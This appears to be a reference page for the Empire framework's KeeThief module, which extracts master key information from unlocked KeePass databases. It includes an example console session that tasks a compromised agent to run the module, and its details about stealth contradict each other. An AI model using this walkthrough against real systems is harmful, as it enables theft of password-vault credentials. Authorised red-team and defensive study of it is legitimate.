Invoke-KeeThief - Empire Module
This page contains detailed information about how to use the powershell/collection/vaults/keethief Empire module. For list of all Empire modules, visit the Empire Module Library.
Module Overview
Name: Invoke-KeeThief
Module: powershell/collection/vaults/keethief
Source code [1]: empire/server/modules/powershell/collection/vaults/keethief.yaml
Source code [2]: empire/server/data/module_source/collection/vaults/KeeThief.ps1
MITRE ATT&CK:
T1033
Language: PowerShell
Needs admin: No
OPSEC safe: Yes
Background: Yes
The keethief module retrieves database mastey key information for unlocked KeePass database.
This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.
Note that the keethief module does not need administrative privileges to work properly which means that a normal user can run this module.
Required Module Options
This is a list of options that are required by the keethief module:
Agent
Agent to run the module on.
Additional Module Options
This is a list of additional options that are supported by the keethief module:
OutputFunction
PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
Default value: Out-String
.
Suggested values: Out-String
, ConvertTo-Json
, ConvertTo-Csv
, ConvertTo-Html
, ConvertTo-Xml
.
Keethief Example Usage
Here's an example of how to use the keethief module in the Empire client console:
[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/collection/vaults/keethief
Author @tifkin_
@harmj0y
Background True
Comments https://github.com/adaptivethreat/KeeThief
Description This module retrieves database mastey key information for unlocked
KeePass database.
Language powershell
Name powershell/collection/vaults/keethief
NeedsAdmin False
OpsecSafe True
Techniques http://attack.mitre.org/techniques/T1033
,Record Options--,------------,----------,-------------------------------------,
| Name | Value | Required | Description |
|----------------|------------|----------|-------------------------------------|
| Agent | | True | Agent to run the module on. |
|----------------|------------|----------|-------------------------------------|
| OutputFunction | Out-String | False | PowerShell's output function to use |
| | | | ("Out-String", "ConvertTo-Json", |
| | | | "ConvertTo-Csv", "ConvertTo-Html", |
| | | | "ConvertTo-Xml"). |
'----------------'------------'----------'-------------------------------------'
(Empire: usemodule/powershell/collection/vaults/keethief) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/collection/vaults/keethief) > execute
[*] Tasked Y4LHEV83 to run Task 1
...
Now wait for the results to come.
Authors
References
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/collection/vaults/keethief.yaml
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/data/module_source/collection/vaults/KeeThief.ps1
- https://github.com/adaptivethreat/KeeThief
- http://attack.mitre.org/techniques/T1033
See Also
Check also the following modules related to this module:
- powershell/collection/vaults/remove_keepass_config_trigger
- powershell/collection/vaults/add_keepass_config_trigger
- powershell/collection/vaults/find_keepass_config
- powershell/collection/vaults/get_keepass_config_trigger
Version
This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.